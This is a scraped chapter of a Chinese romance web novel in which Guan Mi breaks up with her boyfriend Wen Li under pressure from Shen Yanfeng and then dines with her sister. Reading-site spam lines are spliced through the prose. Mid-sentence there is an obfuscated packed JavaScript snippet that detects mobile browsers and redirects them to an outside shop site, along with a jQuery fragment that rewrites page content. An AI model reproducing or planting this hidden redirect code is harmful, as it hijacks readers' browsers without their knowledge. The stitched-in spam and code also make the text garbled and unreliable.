没多久后,沈晏风回来了带着早餐。
他坐进了后排把早餐放在关弥面前,捡起脚垫上自己的外套后,拧开一瓶水给她。
关弥动也不动还裹着毯子。
“吃点东西,”他声音的听不出情绪“不然一会儿没力气哭。”
她被说得心口郁结,一把端起桌上的面碗完全没形象地吃了起来。
安静的车厢里,只剩她故意发出的吸溜面条的声音。
然而旁边的男人并没有她预想的那样露出不耐或是嫌弃的表情。
他只是侧头看着她眼里含着笑意随后便低下头若无其事地看起了手机。
关弥没什么胃口吃了几口就放下了。她自己打开一瓶没开过的水喝,仰头时蓦地看见一道熟悉的身影从车边上走过。
她心口一滞喝水的动作瞬间僵住视线不由自主地跟随着那道身影,看着他穿过马路,最终消失在对面医院的大门里。
沈晏风沉默地盯着她看人都已经看不见了,她还在看看看。
没完没了了。
他沉下声:“看够没有?”
关弥回过神,“我想下车。”
“现在?”沈晏风神色淡淡“他一时半会儿可下不来闻家老爷子虽然醒了但身体因为中风导致下半身偏瘫了,情况并不轻松。”
关弥倏地睁大瞪了眼。
之前医生只是高度怀疑闻老中风没想到竟真的这么严重。
“你要上去也行。”沈晏风抬腕看了眼手表“一个小时?还是两个?确定好时间不然我会亲自上去找你。”
“一天。”她索性说道反正今天也回不去上班了。
“不好。”
关弥低下眼睛抿唇不语。
沈晏风看了她一会儿把手机塞给进她手里“拿着。”
“你不怕我扔了?”
“我缺这一个手机?”他轻笑一声解了车门锁“尽快下来。”
随即又轻飘飘地补了句:“或者我可以利用你去见他的这个时间去学校拜访你父亲。”
关弥忍不住在心里臭骂了他一句
她步伐匆匆来到住院部一边走一边想着给闻励先打个电话从口袋里拿出的却是沈晏风的手机她又迅速给塞了回去。
她还记得病房号可走到门口时却突然停住脚步。
怎么能空着手来探病呢?
不一会儿关弥又快速下了楼。
幸好医院对面就有水果店她折返回到车边轻轻敲了敲车窗。
车窗缓缓降下。
“就解决……”
“能不能借我点钱我想买个果篮上去。”
两个人几乎同时开口
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
。
先收声且脸色先变差的是沈晏风。但他也没说什么只是从外套里取出钱包给她“买好点的。”
关弥有些惊讶他会说这句话。
“谢谢。”
拎着果篮来到病房前关弥发现门虚掩着她没有立刻敲门而是下意识地从门缝向里望去。
病房里站着好几个人她一眼就看到了闻励。
他站在病床前背脊微微弯曲抓着床栏的手看起来非常的用力。
紧接着她听到一道沙哑而含糊的声音从病床上传出来。
“你如果想气死我……就去和关小姐结婚!从闻家的户口里迁出去自立门户……往后我们家就当没你这个人!”
“爷爷为什么到了现在还要这样逼我?”闻励的声音压抑着巨大的痛苦“你们根本不知道她对我意味着什么。从高中起爸妈眼里只有工作而您……只盯着我的成绩每次考试只要不是第一您就让我跪在客厅写题。您的眼里只有分数那时我几乎被压到喘不过气甚至想过从家里阳台跳下去……”
他的声音哽咽了一下继续说道:“后来去了大学是关弥告诉我人可以不用活得那么沉重是她的陪伴我才能从不拿第一就不是好孩子的阴影里走出来是她让我第一次觉得我可以喘口气可以为自己活着……可毕业后我还是顺从你们回到江城我当时在想既然工作遂了您的愿那婚姻我就要自己做主……”
“闻励你爷爷已经很难受了别说了好不好?”
“妈我只想要关弥我只要关弥……”
关弥在门口泣不成声听见里面闻母焦急地大喊医生时她慌忙放下果篮在门侧边迅速往旁边的楼梯间里走。
这种时候再进去就是添乱了。
她躲在消防门后听着几道纷乱的脚步声在走廊里跑来跑去的还有医生护士急促的指令最后又慢慢归于平静。
她擦了擦眼睛坐在台阶上脸深深埋入膝盖泪水又忍不住滑落
不知过了多久一件带着熟悉气息的衣服罩在了她的头上隔绝了冰冷的光线。
沈晏风什么也没问只在关弥旁边站着。
空气中只剩下她压抑的抽泣和他沉稳呼吸声。
他没有催促更没有安慰就这样在昏暗的楼梯间沉默地陪了她许久。
直到她的哭声渐渐停止他才低声开口:“走吧闻老刚才没多大事。”
回到车上关弥的情绪依然很低落整个人一动不动地坐着像一尊失去生气的雕塑一言不发。
她的回忆如同走马灯在脑海里走了一
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
遍,每一个和闻励共同拥有过的画面都清晰映在了眼前。
从前他在阳光下的那句“关弥,我能和你谈恋爱吗”,好像就在昨天。
如果能重来就好了,她会好好的、毫无保留的和他谈恋爱,不会因为要去兼职而冷落他,不会因为要备考而提前结束约会,更不会让工作把和他相处的时间挤压得所剩无几。
过了很久后,她张了张嘴,哑着声,好似在自言自语:“能不能帮闻励爷爷找一个医疗团队,让他能尽快康复起来。”
沈晏风侧目看她,“为什么?他家人对你并不好,你有必要这样?”
关弥垂着眼,“如果他爷爷有个什么事,可能会被其他亲戚怪在他头上。”
沈晏风沉默了下,“我会联系国内顶尖的神经科和康复科专家,明天一早就让医疗团队先来做全面评估。”
“不要引起闻家的怀疑。”
“怕闻励知道?”
关弥抿唇不语。
沈晏风喉间溢出了声毫无情绪的笑,“你倒
是还很顾忌着他的自尊心。”
“我想回家。”关弥说,“我会找时间单独和闻励见面。”
“能解决好?”
她没立即回答,良久,声音细如蚊呐:“能。”
去学校找乔秋英拿到家里的钥匙,关弥打算自己走回去,她没让沈晏风一起,他的车和他这个人都太招摇,她怕被邻居看见后会惹来一些闲言碎语。
沈晏风不想她走,便伸手拉了下,被她挣扎开后,也不恼,神态自然地虚抄着裤袋,“手机不肯拿着,那就把你家座机的号码告诉我。”
关弥没有看他,只是微微侧过脸,声音里听不出什么波澜:“我会遵守约定,你放心。”
她顿了顿,在转身前继续说道:“今天算出差,晚上我要回到北京,明天准时上班。”
沈晏风唇角微扬:“没问题。”
和闻励的见面约在了从前两个人常去的甜品店。
傍晚天色灰蒙蒙的,一场大雨正在酝酿着落下。
关弥先到的,她点了两杯喝的,坐在窗边,很快就看见闻励停好车后,从路对面大步跑过来的身影。
他进来时,她就好像一个冷漠的路人,面无波动地看着他走近。
可能是因为相处多年的默契,闻励在对上那双清冷的眼睛后,心脏猛地一收缩,顿感这可能不是一次愉快的见面。
所有因为她突然回来的喜悦一下子就被冲散了。
他在对面坐下,笑容有些勉强:“怎么回来也没提前和我说一声。”
“你爷爷的事,我听说了,”关弥轻声问,“他现在还好吗?”
闻励嗓音温和:“稳定多了,虽然下半身瘫了半边
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
,但精神一点没差,能吃能喝。”
关弥下午特意化了妆来,脸上看不出有大哭过的痕迹,而对面的人,急匆匆来,努力用笑容也掩盖不了他红肿的眼睛。
她放在膝盖上的双手慢慢用力地收紧,逼着自己的声音平稳,每一个字都像是从心底最深处艰难地剥离出来:“闻励,我们……就到这里吧。”
闻励脸上的笑容瞬间就凝固了。
他像是没听清,又像是没听懂,怔怔地看着关弥,过了将近半分钟才扯动嘴角,“弥弥,你在说什么?别开这种玩笑。”
他的声音有些发颤,试图想从关弥脸上找出一丝玩笑的痕迹,却只看到一片冰冷的决绝。
那双他无比熟悉的眼睛里,此刻没有任何波澜,只有让他心慌的疏离。
“我是认真的。”关弥语气很轻,却像一把钝刀割在了闻励的心上,“我们分手吧。”
闻励眼底的光一点一点暗了下去,他半天开不了口,两个人就这样沉默地望着对方很久很久。
最终,还是他打破了这片死寂。
“是我做错了什么?还是因为我家里的事让你太累了?”他恳求道,“我们可以好好谈谈,弥弥,别这样……你想留在北京那就留,我不会再强求你回来了,等家里这边的事解决完,我就去北京重新开始……”
关弥打断他:“我早上去医院了。”
闻励顿时意识到了什么,苦涩地牵了下嘴角:“门口的果篮是你带来的。”
关弥点头,“我听见了你们所有的对话。”
她继续道:“如果有一天,你真的为了我而和家里**,我可能会痛苦一辈子。我不想你这样,你本就有大好的前程,不该被我拖累。”
说到这里,眼里的水光已经是无法控制地涌了出来,她迅速低头眨了下眼睛,“四年已经很长了,我们拥有了彼此最美好的时光,这就足够了。”
她忍着哽咽,把最后的话讲完,“我们到此为止,对彼此都好。”
闻励胸口剧烈起伏,“我不同意!你说什么我都不会同意分手!”
关弥不能再坐下去了,她怕自己会忍不住扑到闻励的怀里。
她站起身,强装冷漠:“我累了!闻励,恋爱谈到这里我已经累了,再继续下去我会被压得喘不过气,好聚好散行吗?”
说完,她快步走了出去。
才走到路边,手就被闻励给拽住,他眼眶通红,浑身都散发出一种令人心碎的悲痛。
“关弥,”他几乎是咬着牙齿叫出她的名字,“凭什么你一句好聚好散就想打发我们四年的感情,你告诉我该怎么“好散”?我的痛苦你能看见吗?没有你,我会有多痛苦你知道吗!”
你的朋友正在书荒,快去帮帮他吧
关弥根本就不敢看着他的眼睛说话“不要道德**我了。”
闻励死死盯着她嗓音沙哑:“你敢看着我的眼睛说你是真心想分手吗?”
关弥紧咬着嘴唇缓缓抬起双眼望进那双带着乞求的眸子里她嘴唇颤了颤“是我要和你分手。”
话落握着她手腕的力道骤然松开她静静地看着他流下了泪看着他转身开留给她一个落寞至极的身影。
憋了一天的雨在这时候终于是落了下来从蒙蒙细雨很快就变成了密集的雨帘。
冰凉的雨水仿佛忽然间砸醒了关弥她下意识抬脚想冲向那个离去的身影手却再次被人从身后牢牢拽住力道大得吓人。
沈晏把黑伞举过关弥的头顶自己半个身体暴露在雨水中神情漠然地看着闻励的身影逐渐被雨幕吞没。
雨水和泪水交织在脸上关弥用力抽出了自己的手最后再看了眼闻励消失的街角。她咬紧嘴唇深吸一口气毅然转身头也不回地走向和闻励相反的方向。
“走什么”沈晏风两步就轻松追上了她伞完全只挡住了她一个人全然不顾自己淋着雨。
他唇角弯起温柔的弧度说出口的话却很残忍:“我猜他一会儿就会回来给你送伞不想让他亲眼看看你现在和谁在一起吗?或许这样他才会死心得更彻底。”
关弥只觉得胸口被千斤重的巨石给堵得快要窒息了。
她很想大吼一句沈晏风这个结果你满意了吗?可她不能她有求于他欠着他人情这一切足以让她无法对他破口大骂。
可他实在太碍眼了。
她蓦地停下脚步闭了闭眼“我和已经他分手了算是遵守了我们之间的约定所以你能不能闭嘴或者干脆从我眼前消失?”
“不能。”
沈晏风向前一步</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124046|182047||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他抬起手动作轻缓地撩开她额前被雨水濡湿的头发。
俯身靠近时低沉含笑的声音落在她的耳畔:“我怎么知道你们是不是联起手来做戏给我看?万一我走了你们后脚就复合我岂不是白白被你骗了一场?”
关弥看了他一眼后踉跄着往前走又忽然停住脚步她的肩膀微微抖动竟低声笑了起来可笑着笑着眼泪就止不住往下掉。
“真是可笑……我是疯了才会和自己爱的人做这种戏。”
她的笑里带着浓浓的自嘲和绝望嘴角上扬眼里满是破碎的泪光。
沈晏风绷紧下颌目光冷然地凝视着她在雨中狼狈的模样。
他原本打算置之不理是个人都有悲伤的权利。
可街上的人向她投去探究甚至看
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
热闹的目光时,他眸色沉了沉,喉结轻滚,将所有翻涌的情绪生生咽下去。
上前一步,脱下外套,不容分说地裹在她瑟瑟发抖的肩上。随后把她往身边带了带,雨伞严严实实遮住了她,隔绝所有外人的视线。
做完这一切,他便不再有其他动作,只是沉默守着她。
沈晏风的车缓缓从刚才那家甜品店前驶过。
车窗半开着,车内温度逐渐在升高,混合着雨水的潮湿气息。
关弥目光空洞地望着窗外,神情木然。
突然,她的眼睛重新燃起一丝微光。
只因为在刚刚和闻励分别的地方,看到了他的身影。
他就站在那里,手上明明握着一把伞,却任由它垂在身侧。
瓢泼大雨落在他身上,将他整个人淋得湿透,他却仿佛无知无觉,只是固执地站在原地。
她忍不住扭头一直看着,直到车窗彻底关上,车子呼啸离开,她离着闻励越来越远。
关棠从学校出来,举着伞过马路时,无意间与停在餐馆路边的一辆黑色轿车里的人对视了一眼。
恰巧那个位置的路灯坏了,她没能看清对方的长相,但那道视线过于强烈,让她清晰地感觉到对方正在注视自己。
她心里有些发怵,毕竟大晚上的,连忙低下头加快脚步,快步从车前方走过。
一进餐馆,她便迫不及待和关弥说起刚才的事。
关弥神色淡然地往外面瞥了眼。
关棠忘了把雨伞放在门边的桶里,又折返回去放好。
再坐下时,店员正好端上几道清淡可口的菜肴。
她原本因为一些事没什么胃口,但见到姐姐后心情舒展了许多,食欲也回来了。
“姐,你怎么突然回来了,今天周一呀,不用上班吗?
关弥说请假回来拿东西的。
“噢噢,那你什么时候回去?
“陪你吃完饭就走。
关棠愣了一下,“这么赶?有车回去吗?坐火车的话到那儿都得半夜了吧。
“有的,不用担心。关弥给她夹了些剔好刺的鱼肉,“大学生活还适应吗?
关棠眼睫微不可察地颤了一下,“挺适应的,我很喜欢,有很多自由支配的时间。
“和室友相处得怎么样了?
关棠笑了笑,“她啊,还是那样不怎么理人,不过她特别忙,除了上课就是兼职。
“生活费还够吗?
“够。关棠说,“我闲着就戳羊毛毡,再完成两个订单,下个月的生活费就够了,我觉得以后都不需要你们给我打钱啦。这位还是老客户,我给她算得便宜,等有了新客户……
关棠的分享欲很强,叽叽喳喳地说个
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
不停,从哪个食堂的窗口最好吃,再聊到前段时间总有两只燕子爱往她们宿舍里飞。
“它们大多数时候都停在电风扇上,小脑袋歪来歪去的,特别可爱。”她语气忽然低落了下来,用筷子轻轻戳了戳碗里的饭“不过最近看不到它们了,室友说燕子是候鸟,天冷了就要飞去南方过冬了。”
她轻轻叹了口气,声音里带着明显的不舍:“宿舍一下子安静了好多,特别是室友也不在的时候,感觉心里空落落的。”
关弥轻轻握住她的手,“没关系的,明天春天暖和了它们就回来了。”
她有些怅然若失地说:“等待本身也是一种盼头,知道有美好的事在未来等着,现在的日子也会变得更有念想。”
这话既是在安慰妹妹,又像是在说服自己。
可她忽然迷茫了,不知道自己的“盼头”究竟在哪里。往后的日子,似乎只剩下日复一日的工作。
她不能再期待一到周末,闻励就会像惊喜一样出现……想到这个,她的心就像被什么给狠狠攥住。
一顿饭吃了将近两个小时。
送关棠回到学校后,关弥顺便去她的宿舍看了看。
见她的室友已经睡下,便没有多留。
下楼时,她没让关棠再送,轻轻带上门后独自走向楼梯口。
经过隔壁宿舍时,里面隐约传来压低声音的争执,断断续续的字眼飘进耳中,“她姐”,“放过”、“真讨厌”……
她下意识朝虚掩的门缝望了一眼,恰好对上一道视线。那是个肤色偏黑的女孩,正皱着眉看着门外,眼神倦怠而厌烦,像是憋着怒意。
关弥收回目光,没多想什么,加快脚步离开。
回到餐馆门口的那台车前,关弥直接伸手去拉后排的车门。
没打开。
里面明明有人,也明明是他自己说送完关棠就立刻出发回北京。
她站着没动了,心底涌起一阵无力感,索性转身就朝前走。
大不了自己打车回去,反正她现在疲惫又空落,或许报复性消费一次,心情反而能好点。
才走出不到两米,身后就传来“嘭”一声闷响。
是摔车门的声音。
她猛地回头,想直面迎上沈晏风的怒意,然而他脸上并没有她想象中的气冲冲,反而很平和,像个宽容的大人,在准备哄一个闹别扭的小孩。
他走过来,轻轻握住了她的手腕,“你怎么就不能试试开前面的门?好几个小时的车程,我总得有人在一旁说说话,提提神。”
-----------------------
作者有话说:红包掉落